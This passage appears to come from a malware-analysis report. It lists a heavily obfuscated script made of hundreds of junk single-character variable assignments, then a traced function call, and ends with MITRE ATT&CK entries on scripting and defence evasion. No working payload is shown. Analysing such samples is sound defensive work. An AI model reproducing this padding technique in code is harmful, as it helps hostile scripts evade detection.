433	omlcsux = "f";
434	omlcsux = "u";
435	omlcsux = "n";
436	omlcsux = "B";
437	omlcsux = "g";
438	omlcsux = "f";
439	omlcsux = "K";
440	omlcsux = "x";
441	omlcsux = "n";
442	omlcsux = "z";
443	omlcsux = "X";
444	omlcsux = "i";
445	omlcsux = "y";
446	omlcsux = "m";
447	omlcsux = "B";
448	omlcsux = "R";
449	omlcsux = "i";
450	omlcsux = "X";
451	omlcsux = "a";
452	omlcsux = "H";
453	omlcsux = "B";
454	omlcsux = "C";
455	yhoaipq = "v";
456	yhoaipq = "T";
457	yhoaipq = "K";
458	yhoaipq = "W";
459	yhoaipq = "s";
460	yhoaipq = "c";
461	yhoaipq = "h";
462	yhoaipq = "E";
463	yhoaipq = "P";
464	yhoaipq = "d";
465	yhoaipq = "r";
466	yhoaipq = "M";
467	yhoaipq = "r";
468	yhoaipq = "R";
469	yhoaipq = "c";
470	yhoaipq = "t";
471	yhoaipq = "R";
472	yhoaipq = "c";
473	yhoaipq = "N";
474	yhoaipq = "A";
475	yhoaipq = "D";
476	yhoaipq = "b";
477	yhoaipq = "r";
478	yhoaipq = "D";
479	yhoaipq = "q";
480	yhoaipq = "M";
481	yhoaipq = "V";
482	yhoaipq = "E";
483	yhoaipq = "M";
484	yhoaipq = "R";
485	yhoaipq = "v";
486	yhoaipq = "Z";
487	yhoaipq = "S";
488	yhoaipq = "c";
489	yhoaipq = "y";
490	yhoaipq = "e";
491	yhoaipq = "v";
492	yhoaipq = "t";
493	yhoaipq = "n";
494	yhoaipq = "u";
495	yhoaipq = "l";
496	yhoaipq = "I";
497	yhoaipq = "I";
498	mwarr = "n";
499	bmjfyyci = "Y";
500	bmjfyyci = "V";
501	bmjfyyci = "l";
502	bmjfyyci = "L";
503	bmjfyyci = "X";
504	bmjfyyci = "V";
505	bmjfyyci = "l";
506	bmjfyyci = "N";
507	bmjfyyci = "m";
508	bmjfyyci = "A";
509	bmjfyyci = "k";
510	bmjfyyci = "X";
511	bmjfyyci = "j";
512	bmjfyyci = "J";
513	bmjfyyci = "g";
514	bmjfyyci = "p";
515	bmjfyyci = "i";
516	bmjfyyci = "g";
517	bmjfyyci = "E";
518	bmjfyyci = "F";
519	bmjfyyci = "K";
520	bmjfyyci = "q";
521	bmjfyyci = "l";
522	bmjfyyci = "f";
523	bmjfyyci = "i";
524	bmjfyyci = "w";
525	bmjfyyci = "s";
526	bmjfyyci = "U";
527	bmjfyyci = "R";
528	bmjfyyci = "P";
529	bmjfyyci = "m";
530	bmjfyyci = "q";
531	bmjfyyci = "r";
532	bmjfyyci = "H";
533	bmjfyyci = "n";
534	bmjfyyci = "A";
535	bmjfyyci = "D";
536	bmjfyyci = "a";
537	bmjfyyci = "R";
538	bmjfyyci = "x";
539	bmjfyyci = "q";
540	bmjfyyci = "V";
541	bmjfyyci = "a";
542	izuebzgwk = "k";
543	izuebzgwk = "F";
544	izuebzgwk = "H";
545	izuebzgwk = "w";
546	izuebzgwk = "P";
547	izuebzgwk = "x";
548	izuebzgwk = "J";
549	izuebzgwk = "V";
550	izuebzgwk = "L";
551	yrddot = "f";
552	yrddot = "d";
553	yrddot = "B";
554	yrddot = "S";
555	yrddot = "a";
556	yrddot = "q";
557	yrddot = "N";
558	yrddot = "t";
559	yrddot = "V";
560	yrddot = "F";
561	yrddot = "u";
562	yrddot = "q";
563	yrddot = "n";
564	yrddot = "X";
565	yrddot = "x";
566	yrddot = "0";
567	fscmmfmdf = "c";
568	fscmmfmdf = "Z";
569	fscmmfmdf = "c";
570	fscmmfmdf = "x";
571	fscmmfmdf = "Q";
572	fscmmfmdf = "n";
573	fscmmfmdf = "M";
574	fscmmfmdf = "o";
575	fscmmfmdf = "G";
576	fscmmfmdf = "g";
577	fscmmfmdf = "k";
578	fscmmfmdf = "C";
579	fscmmfmdf = "F";
580	fscmmfmdf = "i";
581	fscmmfmdf = "L";
582	fscmmfmdf = "o";
583	fscmmfmdf = "B";
584	fscmmfmdf = "i";
585	fscmmfmdf = "d";
586	fscmmfmdf = "B";
587	fscmmfmdf = "A";
588	fscmmfmdf = "R";
589	fscmmfmdf = "z";
590	fscmmfmdf = "h";
591	fscmmfmdf = "I";
592	fscmmfmdf = "W";
593	fscmmfmdf = "K";
594	fscmmfmdf = "C";
595	fscmmfmdf = "B";
596	fscmmfmdf = "Y";
597	fscmmfmdf = "h";
598	fscmmfmdf = "j";
599	fscmmfmdf = "c";
600	fscmmfmdf = "\\";
601	yjypoufnp = "H";
602	yjypoufnp = "e";
603	yjypoufnp = "x";
604	yjypoufnp = "x";
605	yjypoufnp = "a";
606	yjypoufnp = "x";
607	yjypoufnp = "a";
608	yjypoufnp = "Y";
609	yjypoufnp = "Y";
610	yjypoufnp = "P";
611	yjypoufnp = "S";
612	yjypoufnp = "T";
613	yjypoufnp = "J";
614	yjypoufnp = "M";
615	yjypoufnp = "p";
616	yjypoufnp = "Z";
617	yjypoufnp = "h";
618	yjypoufnp = "C";
619	yjypoufnp = "O";
620	yjypoufnp = "L";
621	yjypoufnp = "J";
622	yjypoufnp = "X";
623	yjypoufnp = "t";
624	yjypoufnp = "O";
625	yjypoufnp = "F";
626	yjypoufnp = "C";
627	yjypoufnp = "Q";
628	yjypoufnp = "h";
629	yjypoufnp = "6";
630	hsyibey = "G";
631	hsyibey = "W";
632	hsyibey = "B";
633	hsyibey = "f";
634	hsyibey = "B";
635	hsyibey = "z";
636	hsyibey = "q";
637	hsyibey = "F";
638	hsyibey = "K";
639	hsyibey = "Y";
640	hsyibey = "F";
641	hsyibey = "m";
642	hsyibey = "X";
643	hsyibey = "J";
644	hsyibey = "k";
645	hsyibey = "R";
646	hsyibey = "E";
647	hsyibey = "P";
648	hsyibey = "K";
649	hsyibey = "s";
650	hsyibey = "Y";
651	hsyibey = "J";
652	hsyibey = "U";
653	hsyibey = "h";
654	hsyibey = "V";
655	hsyibey = "m";
656	hsyibey = "Q";
657	hsyibey = "t";
658	hsyibey = "L";
659	hsyibey = "z";
660	hsyibey = "Y";
661	hsyibey = "x";
662	hsyibey = "z";
663	hsyibey = "P";
664	aaflem = "j";
665	aaflem = "R";
666	aaflem = "E";
667	aaflem = "l";
668	aaflem = "r";
669	aaflem = "P";
670	aaflem = "S";
671	aaflem = "R";
672	aaflem = "n";
673	aaflem = "f";
674	aaflem = "R";
675	aaflem = "h";
676	aaflem = "z";
677	aaflem = "b";
678	aaflem = "V";
679	aaflem = "n";
680	aaflem = "a";
681	aaflem = "V";
682	aaflem = "h";
683	aaflem = "K";
684	aaflem = "i";
685	aaflem = "h";
686	aaflem = "B";
687	aaflem = "i";
688	aaflem = "G";
689	aaflem = "w";
690	aaflem = "q";
691	aaflem = "G";
692	aaflem = "E";
693	aaflem = "M";
694	aaflem = "e";
695	aaflem = "W";
696	aaflem = "Z";
697	aaflem = "W";
698	cuuke = "P";
699	cuuke = "X";
700	cuuke = "f";
701	cuuke = "n";
702	cuuke = "T";
703	cuuke = "D";
704	cuuke = "b";
705	cuuke = "W";
706	cuuke = "F";
707	cuuke = "K";
708	cuuke = "g";
709	cuuke = "r";
710	cuuke = "J";
711	cuuke = "e";
712	cuuke = "c";
713	cuuke = "q";
714	cuuke = "F";
715	cuuke = "g";
716	cuuke = "S";
717	cuuke = "H";
718	cuuke = "d";
719	cuuke = "b";
720	cuuke = "j";
721	cuuke = "E";
722	cuuke = "h";
723	cuuke = "C";
724	cuuke = "M";
725	cuuke = "x";
726	cuuke = "E";
727	cuuke = "H";
728	cuuke = "H";
729	cuuke = "Q";
730	cuuke = "n";
731	cuuke = "q";
732	cuuke = "Z";
733	cuuke = "W";
734	cuuke = "p";
735	xghnd = "F";
736	xghnd = "g";
737	xghnd = "z";
738	xghnd = "E";
739	xghnd = "z";
740	xghnd = "u";
741	iozlyybtt = "j";
742	iozlyybtt = "Z";
743	iozlyybtt = "i";
744	iozlyybtt = "C";
745	iozlyybtt = "Y";
746	iozlyybtt = "q";
747	iozlyybtt = "m";
748	iozlyybtt = "A";
749	iozlyybtt = "x";
750	iozlyybtt = "V";
751	iozlyybtt = "X";
752	iozlyybtt = "E";
753	iozlyybtt = "H";
754	iozlyybtt = "n";
755	iozlyybtt = "m";
756	iozlyybtt = "B";
757	iozlyybtt = "A";
758	iozlyybtt = "M";
759	iozlyybtt = "p";
760	iozlyybtt = "w";
761	iozlyybtt = "r";
762	iozlyybtt = "q";
763	iozlyybtt = "n";
764	iozlyybtt = "O";
765	iozlyybtt = "e";
766	iozlyybtt = "R";
767	iozlyybtt = "f";
768	bzeqfjck = "Y";
769	bzeqfjck = "K";
770	bzeqfjck = "i";
771	bzeqfjck = "U";
772	bzeqfjck = "j";
773	bzeqfjck = "y";
774	bzeqfjck = "x";
775	bzeqfjck = "F";
776	bzeqfjck = "b";
777	bzeqfjck = "L";
778	bzeqfjck = "C";
779	bzeqfjck = "f";
780	bzeqfjck = "o";
781	bzeqfjck = "S";
782	bzeqfjck = "i";
783	bzeqfjck = "N";
784	bzeqfjck = "R";
785	bzeqfjck = "E";
786	bzeqfjck = "S";
787	bzeqfjck = "x";
788	bzeqfjck = "B";
789	bzeqfjck = "Y";
790	bzeqfjck = "s";
791	bzeqfjck = "D";
792	bzeqfjck = "m";
793	bzeqfjck = "j";
794	bzeqfjck = "c";
795	bzeqfjck = "r";
796	ohxajjq = "L";
797	ohxajjq = "C";
798	ohxajjq = "A";
799	ohxajjq = "T";
800	ohxajjq = "a";
801	ohxajjq = "l";
802	ohxajjq = "F";
803	ohxajjq = "g";
804	ohxajjq = "H";
805	ohxajjq = "N";
806	ohxajjq = "m";
807	ohxajjq = "A";
808	ohxajjq = "r";
809	ohxajjq = "h";
810	ohxajjq = "S";
811	ohxajjq = "M";
812	ohxajjq = "D";
813	ohxajjq = "P";
814	ohxajjq = "W";
815	ohxajjq = "g";
816	ohxajjq = "L";
817	ohxajjq = "Z";
818	ohxajjq = "c";
819	ohxajjq = "b";
820	ohxajjq = "p";
821	ohxajjq = "t";
822	ohxajjq = "I";
823	ohxajjq = "w";
824	zhwlwob = "w";
825	zhwlwob = "G";
826	zhwlwob = "v";
827	zhwlwob = "Y";
828	zhwlwob = "P";
829	zhwlwob = "M";
830	zhwlwob = "Y";
831	zhwlwob = "b";
832	zhwlwob = "h";
833	ohggc = "Y";
834	ohggc = "L";
835	ohggc = "C";
836	ohggc = "G";
837	ohggc = "E";
838	ohggc = "f";
839	ohggc = "j";
840	ohggc = "A";
841	ohggc = "g";
842	ohggc = "J";
843	ohggc = "d";
844	ohggc = "T";
845	ohggc = "I";
846	ohggc = "S";
847	ohggc = "u";
848	ohggc = "Q";
849	ohggc = "C";
850	ohggc = "G";
851	ohggc = "P";
852	ohggc = "F";
853	ohggc = "R";
854	ohggc = "A";
855	ohggc = "v";
856	ohggc = "i";
857	ohggc = "N";
858	nxqannjps = "F";
859	nxqannjps = "k";
860	nxqannjps = "n";
861	nxqannjps = "P";
862	nxqannjps = "m";
863	nxqannjps = "m";
864	nxqannjps = "m";
865	nxqannjps = "q";
866	nxqannjps = "x";
867	nxqannjps = "Q";
868	nxqannjps = "U";
869	nxqannjps = "b";
870	nxqannjps = "j";
871	nxqannjps = "M";
872	nxqannjps = "y";
873	nxqannjps = "J";
874	nxqannjps = "j";
875	nxqannjps = "X";
876	nxqannjps = "K";
877	nxqannjps = "Z";
878	nxqannjps = "b";
879	nxqannjps = "O";
880	nxqannjps = "E";
881	nxqannjps = "B";
882	nxqannjps = "K";
883	nxqannjps = "D";
884	nxqannjps = "k";
885	nxqannjps = "L";
886	nxqannjps = "S";
887	nxqannjps = "g";
888	nxqannjps = "N";
889	nxqannjps = "w";
890	nxqannjps = "T";
891	nxqannjps = "x";
892	nxqannjps = "H";
893	nxqannjps = "R";
894	nxqannjps = "F";
895	nxqannjps = "i";
896	nxqannjps = "u";
897	nxqannjps = "H";
898	nxqannjps = ":";
899	cpptfvcpv = "z";
900	cpptfvcpv = "Y";
901	cpptfvcpv = "b";
902	cpptfvcpv = "j";
903	cpptfvcpv = "L";
904	cpptfvcpv = "s";
905	cpptfvcpv = "m";
906	cpptfvcpv = "I";
907	cpptfvcpv = "Z";
908	cpptfvcpv = "N";
909	cpptfvcpv = "h";
910	cpptfvcpv = "w";
911	cpptfvcpv = "E";
912	cpptfvcpv = "t";
913	cpptfvcpv = "j";
914	cpptfvcpv = "o";
915	cpptfvcpv = "y";
916	cpptfvcpv = "K";
917	cpptfvcpv = "j";
918	cpptfvcpv = "F";
919	cpptfvcpv = "E";
920	cpptfvcpv = "D";
921	cpptfvcpv = "Q";
922	cpptfvcpv = "D";
923	cpptfvcpv = "e";
924	cpptfvcpv = "A";
925	cpptfvcpv = "m";
926	ffoagys = "Y";
927	ffoagys = "g";
928	ffoagys = "L";
929	ffoagys = "T";
930	ffoagys = "G";
931	ffoagys = "N";
932	ffoagys = "d";
933	ceipzboba = "v";
934	ceipzboba = "N";
935	ceipzboba = "Y";
936	ceipzboba = "b";
937	ceipzboba = "T";
938	ceipzboba = "R";
939	ceipzboba = "i";
940	ceipzboba = "E";
941	ceipzboba = "R";
942	ceipzboba = "s";
943	ceipzboba = "L";
944	ceipzboba = "h";
945	ceipzboba = "u";
946	ceipzboba = "J";
947	ceipzboba = "N";
948	ceipzboba = "K";
949	ceipzboba = "Y";
950	ceipzboba = "d";
951	ceipzboba = "W";
952	ceipzboba = "N";
953	ceipzboba = "x";
954	ceipzboba = "P";
955	ceipzboba = "b";
956	ceipzboba = "m";
957	ceipzboba = "P";
958	ceipzboba = "Z";
959	ceipzboba = "h";
960	ceipzboba = "t";
961	ceipzboba = "e";
962	ceipzboba = "v";
963	ceipzboba = "w";
964	ceipzboba = "g";
965	wabuircc = "y";
966	wabuircc = "M";
967	wabuircc = "r";
968	wabuircc = "z";
969	wabuircc = "A";
970	wabuircc = "X";
971	wabuircc = "S";
972	wabuircc = "t";
973	wabuircc = "k";
974	wabuircc = "K";
975	wabuircc = "F";
976	wabuircc = "P";
977	wabuircc = "v";
978	wabuircc = "d";
979	wabuircc = "f";
980	wabuircc = "v";
981	wabuircc = "a";
982	wabuircc = "G";
983	wabuircc = "a";
984	wabuircc = "r";
985	wabuircc = "J";
986	wabuircc = "j";
987	wabuircc = "i";
988	wabuircc = "V";
989	wabuircc = "N";
990	wabuircc = "z";
991	wabuircc = "E";
992	wabuircc = "K";
993	wabuircc = "K";
994	wabuircc = "m";
995	wabuircc = "T";
996	wabuircc = "j";
997	wabuircc = "w";
998	wabuircc = "3";
999	wxwvj = "r";
1000	wxwvj = "n";
1001	wxwvj = "W";
1002	wxwvj = "A";
1003	wxwvj = "V";
1004	wxwvj = "K";
1005	wxwvj = "C";
1006	wxwvj = "5";
1007	qvnkcha = "s";
1008	qvnkcha = "I";
1009	qvnkcha = "d";
1010	qvnkcha = "C";
1011	qvnkcha = "U";
1012	qvnkcha = "i";
1013	qvnkcha = "d";
1014	qvnkcha = "M";
1015	qvnkcha = "V";
1016	qvnkcha = "y";
1017	qvnkcha = "T";
1018	qvnkcha = "F";
1019	qvnkcha = "P";
1020	qvnkcha = "E";
1021	qvnkcha = "G";
1022	qvnkcha = "U";
1023	qvnkcha = "P";
1024	qvnkcha = "m";
1025	qvnkcha = "z";
1026	qvnkcha = "W";
1027	qvnkcha = "z";
1028	qvnkcha = "W";
1029	qvnkcha = "R";
1030	eymbqd = "T";
1031	eymbqd = "Q";
1032	eymbqd = "w";
1033	eymbqd = "Y";
1034	eymbqd = "b";
1035	eymbqd = "Z";
1036	eymbqd = "C";
1037	eymbqd = "B";
1038	eymbqd = "q";
1039	eymbqd = "Y";
1040	eymbqd = "b";
1041	eymbqd = "Z";
1042	eymbqd = "d";
1043	eymbqd = "B";
1044	eymbqd = "g";
1045	eymbqd = "m";
1046	eymbqd = "Q";
1047	eymbqd = "h";
1048	eymbqd = "b";
1049	eymbqd = "G";
1050	eymbqd = "y";
1051	eymbqd = "R";
1052	eymbqd = "j";
1053	eymbqd = "G";
1054	eymbqd = "f";
1055	eymbqd = "Q";
1056	eymbqd = "Z";
1057	eymbqd = "A";
1058	eymbqd = "Z";
1059	eymbqd = "N";
1060	eymbqd = "Z";
1061	eymbqd = "b";
1062	eymbqd = "X";
1063	eymbqd = "u";
1064	eymbqd = "r";
1065	eymbqd = "O";
1066	eymbqd = "o";
1067	qgitggug = "C";
1068	qgitggug = "z";
1069	qgitggug = "S";
1070	qgitggug = "c";
1071	qgitggug = "w";
1072	qgitggug = "M";
1073	qgitggug = "K";
1074	qgitggug = "R";
1075	qgitggug = "g";
1076	qgitggug = "S";
1077	qgitggug = "z";
1078	qgitggug = "O";
1079	qgitggug = "u";
1080	qgitggug = "q";
1081	qgitggug = "Y";
1082	qgitggug = "E";
1083	qgitggug = "G";
1084	qgitggug = "J";
1085	qgitggug = "p";
1086	qgitggug = "b";
1087	qgitggug = "K";
1088	qgitggug = "w";
1089	qgitggug = "c";
1090	qgitggug = "S";
1091	qgitggug = "N";
1092	qgitggug = "h";
1093	qgitggug = "p";
1094	qgitggug = "D";
1095	qgitggug = "O";
1096	qgitggug = "Q";
1097	qgitggug = "w";
1098	qgitggug = "v";
1099	qgitggug = "V";
1100	qgitggug = "p";
1101	qgitggug = "L";
1102	qgitggug = "e";
1103	olnfsnd = "n";
1104	olnfsnd = "y";
1105	olnfsnd = "d";
1106	olnfsnd = "o";
1107	olnfsnd = "P";
1108	olnfsnd = "b";
1109	olnfsnd = "d";
1110	olnfsnd = "q";
1111	olnfsnd = "O";
1112	olnfsnd = "d";
1113	olnfsnd = "y";
1114	olnfsnd = "g";
1115	olnfsnd = "q";
1116	olnfsnd = "v";
1117	olnfsnd = "X";
1118	olnfsnd = "g";
1119	olnfsnd = "h";
1120	olnfsnd = "I";
1121	olnfsnd = "F";
1122	olnfsnd = "s";
1123	olnfsnd = "j";
1124	olnfsnd = "F";
1125	olnfsnd = "M";
1126	olnfsnd = "N";
1127	olnfsnd = "X";
1128	olnfsnd = "X";
1129	olnfsnd = "x";
1130	olnfsnd = "E";
1131	olnfsnd = "B";
1132	olnfsnd = "F";
1133	olnfsnd = "b";
1134	olnfsnd = "g";
1135	olnfsnd = "Q";
1136	olnfsnd = "S";
1137	olnfsnd = "t";
1138	olnfsnd = "E";
1139	olnfsnd = "Y";
1140	olnfsnd = "E";
1141	olnfsnd = "h";
1142	olnfsnd = "l";
1143	olnfsnd = "&";
1144	nhuukerl = "I";
1145	nhuukerl = "k";
1146	nhuukerl = "n";
1147	nhuukerl = "z";
1148	nhuukerl = "k";
1149	nhuukerl = "f";
1150	nhuukerl = "X";
1151	nhuukerl = "v";
1152	nhuukerl = "l";
1153	nhuukerl = "y";
1154	nhuukerl = "z";
1155	nhuukerl = "P";
1156	nhuukerl = "l";
1157	nhuukerl = "S";
1158	nhuukerl = "X";
1159	nhuukerl = "z";
1160	nhuukerl = "c";
1161	nhuukerl = "A";
1162	nhuukerl = "z";
1163	nhuukerl = "j";
1164	nhuukerl = "p";
1165	nhuukerl = "I";
1166	nhuukerl = "g";
1167	nhuukerl = "t";
1168	nhuukerl = "e";
1169	nhuukerl = "d";
1170	nhuukerl = "x";
1171	nhuukerl = "c";
1172	nhuukerl = "w";
1173	nhuukerl = "L";
1174	nhuukerl = "X";
1175	nhuukerl = "W";
1176	nhuukerl = "B";
1177	nhuukerl = "i";
1178	nhuukerl = "F";
1179	nhuukerl = "T";
1180	nhuukerl = "q";
1181	nhuukerl = "c";
1182	zxilrjyj = "j";
1183	zxilrjyj = "r";
1184	zxilrjyj = "h";
1185	zxilrjyj = "I";
1186	zxilrjyj = "n";
1187	zxilrjyj = "p";
1188	zxilrjyj = "b";
1189	zxilrjyj = "m";
1190	zxilrjyj = "N";
1191	zxilrjyj = "M";
1192	zxilrjyj = "M";
1193	zxilrjyj = "F";
1194	zxilrjyj = "N";
1195	zxilrjyj = "r";
1196	zxilrjyj = "m";
1197	zxilrjyj = "v";
1198	zxilrjyj = "o";
1199	zxilrjyj = "K";
1200	zxilrjyj = "L";
1201	zxilrjyj = "Z";
1202	zxilrjyj = "K";
1203	zxilrjyj = "V";
1204	zxilrjyj = "A";
1205	zxilrjyj = "e";
1206	zxilrjyj = "B";
1207	zxilrjyj = "h";
1208	zxilrjyj = "Y";
1209	zxilrjyj = "W";
1210	zxilrjyj = "B";
1211	zxilrjyj = "P";
1212	zxilrjyj = "M";
1213	zxilrjyj = "r";
1214	zxilrjyj = "Q";
1215	zxilrjyj = "c";
1216	zxilrjyj = "F";
1217	zxilrjyj = "q";
1218	zxilrjyj = "F";
1219	zxilrjyj = "T";
1220	zxilrjyj = "j";
1221	zxilrjyj = "C";
1222	zxilrjyj = "d";
1223	zxilrjyj = "d";
1224	zxilrjyj = "z";
1225	zxilrjyj = "%";
1226	ypppl = "J";
1227	ypppl = "u";
1228	ypppl = "U";
1229	ypppl = "W";
1230	ypppl = "s";
1231	ypppl = "g";
1232	ypppl = "O";
1233	ypppl = "j";
1234	ypppl = "r";
1235	ypppl = "w";
1236	ypppl = "e";
1237	ypppl = "j";
1238	ypppl = "q";
1239	ypppl = "Y";
1240	ypppl = "v";
1241	ypppl = "h";
1242	ypppl = "q";
1243	ypppl = "n";
1244	ypppl = "c";
1245	ypppl = "a";
1246	ypppl = "V";
1247	ypppl = "s";
1248	ypppl = "U";
1249	ypppl = "Y";
1250	ypppl = "I";
1251	ypppl = "b";
1252	ypppl = "E";
1253	ypppl = "A";
1254	ypppl = "I";
1255	ypppl = "L";
1256	ypppl = "S";
1257	hfvdaw = "K";
1258	hfvdaw = "C";
1259	hfvdaw = "a";
1260	hfvdaw = "G";
1261	hfvdaw = "m";
1262	hfvdaw = "Q";
1263	hfvdaw = "d";
1264	hfvdaw = "g";
1265	hfvdaw = "b";
1266	hfvdaw = "m";
1267	hfvdaw = "e";
1268	hfvdaw = "O";
1269	hfvdaw = "j";
1270	hfvdaw = "n";
1271	hfvdaw = "P";
1272	hfvdaw = "k";
1273	hfvdaw = "R";
1274	hfvdaw = "Z";
1275	hfvdaw = "m";
1276	hfvdaw = "E";
1277	hfvdaw = "M";
1278	hfvdaw = "B";
1279	hfvdaw = "I";
1280	hfvdaw = "X";
1281	hfvdaw = "e";
1282	hfvdaw = "o";
1283	hfvdaw = "h";
1284	hfvdaw = "C";
1285	hfvdaw = "m";
1286	hfvdaw = "h";
1287	hfvdaw = "p";
1288	hfvdaw = "a";
1289	hfvdaw = "f";
1290	hfvdaw = "D";
1291	hfvdaw = "J";
1292	hfvdaw = "m";
1293	hfvdaw = "y";
1294	hfvdaw = "u";
1295	hfvdaw = "9";
1296	ybmilf = "e";
1297	ybmilf = "W";
1298	ybmilf = "L";
1299	ybmilf = "M";
1300	ybmilf = "L";
1301	ybmilf = "W";
1302	ybmilf = "d";
1303	ybmilf = "f";
1304	ybmilf = "u";
1305	ybmilf = "y";
1306	ybmilf = "I";
1307	ybmilf = "e";
1308	ybmilf = "x";
1309	ybmilf = "d";
1310	ybmilf = "J";
1311	ybmilf = "S";
1312	ybmilf = "B";
1313	ybmilf = "B";
1314	ybmilf = "V";
1315	ybmilf = "m";
1316	ybmilf = "s";
1317	ybmilf = "D";
1318	ybmilf = "E";
1319	ybmilf = "F";
1320	ybmilf = "B";
1321	ybmilf = "M";
1322	ybmilf = "q";
1323	gjmuetgks = "V";
1324	gjmuetgks = "C";
1325	gjmuetgks = "y";
1326	gjmuetgks = "n";
1327	gjmuetgks = "T";
1328	gjmuetgks = "T";
1329	gjmuetgks = "T";
1330	gjmuetgks = "H";
1331	gjmuetgks = "c";
1332	gjmuetgks = "F";
1333	gjmuetgks = "h";
1334	gjmuetgks = "V";
1335	gjmuetgks = "Z";
1336	gjmuetgks = "o";
1337	gjmuetgks = "x";
1338	gjmuetgks = "s";
1339	gjmuetgks = "u";
1340	gjmuetgks = "F";
1341	gjmuetgks = "S";
1342	gjmuetgks = "u";
1343	gjmuetgks = "a";
1344	gjmuetgks = "J";
1345	gjmuetgks = "Q";
1346	gjmuetgks = "N";
1347	gjmuetgks = "H";
1348	gjmuetgks = "z";
1349	gjmuetgks = "c";
1350	gjmuetgks = "h";
1351	gjmuetgks = "B";
1352	gjmuetgks = "t";
1353	gjmuetgks = "H";
1354	gjmuetgks = "t";
1355	gjmuetgks = "O";
1356	gjmuetgks = "l";
1357	gjmuetgks = "g";
1358	gjmuetgks = "H";
1359	gjmuetgks = "-";
1360	zukjenlb = "e";
1361	zukjenlb = "O";
1362	zukjenlb = "v";
1363	zukjenlb = "E";
1364	zukjenlb = "Q";
1365	zukjenlb = "G";
1366	zukjenlb = "b";
1367	zukjenlb = "b";
1368	zukjenlb = "e";
1369	zukjenlb = "B";
1370	zukjenlb = "k";
1371	zukjenlb = "c";
1372	zukjenlb = "w";
1373	zukjenlb = "B";
1374	zukjenlb = "g";
1375	zukjenlb = "w";
1376	zukjenlb = "C";
1377	zukjenlb = "t";
1378	zukjenlb = "P";
1379	zukjenlb = "C";
1380	zukjenlb = "M";
1381	zukjenlb = "V";
1382	zukjenlb = "F";
1383	zukjenlb = "c";
1384	zukjenlb = "m";
1385	zukjenlb = "E";
1386	zukjenlb = "g";
1387	zukjenlb = "b";
1388	vhcmn = "w";
1389	vhcmn = "O";
1390	vhcmn = "N";
1391	vhcmn = "n";
1392	vhcmn = "\"";
1393	bwnghdmra = "e";
1394	bwnghdmra = "e";
1395	bwnghdmra = "C";
1396	bwnghdmra = "c";
1397	bwnghdmra = "u";
1398	bwnghdmra = "U";
1399	bwnghdmra = "P";
1400	bwnghdmra = "m";
1401	bwnghdmra = "O";
1402	bwnghdmra = "C";
1403	bwnghdmra = "j";
1404	bwnghdmra = "S";
1405	bwnghdmra = "H";
1406	bwnghdmra = "F";
1407	eouekgegt = "w";
1408	eouekgegt = "W";
1409	eouekgegt = "X";
1410	eouekgegt = "r";
1411	eouekgegt = "b";
1412	eouekgegt = "c";
1413	eouekgegt = "X";
1414	eouekgegt = "g";
1415	eouekgegt = "Y";
1416	eouekgegt = "N";
1417	eouekgegt = "O";
1418	eouekgegt = "r";
1419	eouekgegt = "a";
1420	eouekgegt = "V";
1421	eouekgegt = "k";
1422	eouekgegt = "J";
1423	eouekgegt = "L";
1424	eouekgegt = "T";
1425	eouekgegt = "O";
1426	eouekgegt = "L";
1427	eouekgegt = "U";
1428	eouekgegt = "t";
1429	eouekgegt = "u";
1430	eouekgegt = "a";
1431	eouekgegt = "n";
1432	eouekgegt = "S";
1433	eouekgegt = "o";
1434	eouekgegt = "n";
1435	eouekgegt = "n";
1436	eouekgegt = "D";
1437	eouekgegt = "w";
1438	eouekgegt = "J";
1439	eouekgegt = "i";
1440	eouekgegt = "t";
1441	huytl = "Q";
1442	huytl = "J";
1443	huytl = "o";
1444	huytl = "P";
1445	huytl = "l";
1446	huytl = "g";
1447	huytl = "F";
1448	huytl = "m";
1449	huytl = "a";
1450	huytl = "W";
1451	huytl = "U";
1452	huytl = "U";
1453	huytl = "e";
1454	huytl = "k";
1455	huytl = "g";
1456	huytl = "p";
1457	huytl = "C";
1458	huytl = "P";
1459	huytl = "U";
1460	huytl = "R";
1461	huytl = "L";
1462	huytl = "J";
1463	huytl = "S";
1464	huytl = "k";
1465	huytl = "s";
1466	huytl = "x";
1467	zwaas = "E";
1468	zwaas = "S";
1469	zwaas = "L";
1470	zwaas = "Q";
1471	zwaas = "z";
1472	zwaas = "z";
1473	zwaas = "l";
1474	zwaas = "U";
1475	zwaas = "a";
1476	zwaas = "M";
1477	zwaas = "s";
1478	zwaas = "K";
1479	zwaas = "m";
1480	zwaas = "h";
1481	zwaas = "S";
1482	zwaas = "L";
1483	zwaas = "w";
1484	zwaas = "a";
1485	zwaas = "Z";
1486	zwaas = "l";
1487	zwaas = "q";
1488	zwaas = "E";
1489	zwaas = "d";
1490	zwaas = "m";
1491	zwaas = "i";
1492	zwaas = "E";
1493	zwaas = "M";
1494	zwaas = "s";
1495	zwaas = "B";
1496	zwaas = "D";
1497	zwaas = "k";
1498	zwaas = "u";
1499	zwaas = "x";
1500	zwaas = "h";
1501	zwaas = "k";
1502	zwaas = "c";
1503	zwaas = "y";
1504	zwaas = "S";
1505	zwaas = "O";
1506	zwaas = "m";
1507	zwaas = "B";
1508	zwaas = "H";
1509	zwaas = "L";
1510	zwaas = "k";
1511	ukbwq = "p";
1512	ukbwq = "V";
1513	ukbwq = "u";
1514	ukbwq = "A";
1515	ukbwq = "j";
1516	ukbwq = "N";
1517	ukbwq = "z";
1518	ukbwq = "g";
1519	ukbwq = "X";
1520	ukbwq = "r";
1521	ukbwq = "u";
1522	ukbwq = "A";
1523	ukbwq = "n";
1524	ukbwq = "z";
1525	ukbwq = "p";
1526	ukbwq = "M";
1527	ukbwq = "g";
1528	ukbwq = "V";
1529	ukbwq = "k";
1530	ukbwq = "y";
1531	ukbwq = "n";
1532	ukbwq = "O";
1533	ukbwq = "h";
1534	ukbwq = "V";
1535	ukbwq = "z";
1536	ukbwq = "I";
1537	ukbwq = "b";
1538	ukbwq = "F";
1539	ukbwq = "P";
1540	ukbwq = "f";
1541	ukbwq = "X";
1542	ukbwq = "m";
1543	ukbwq = "y";
1544	ukbwq = "x";
1545	ukbwq = ".";
1546	orddhn ( );	orddhn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
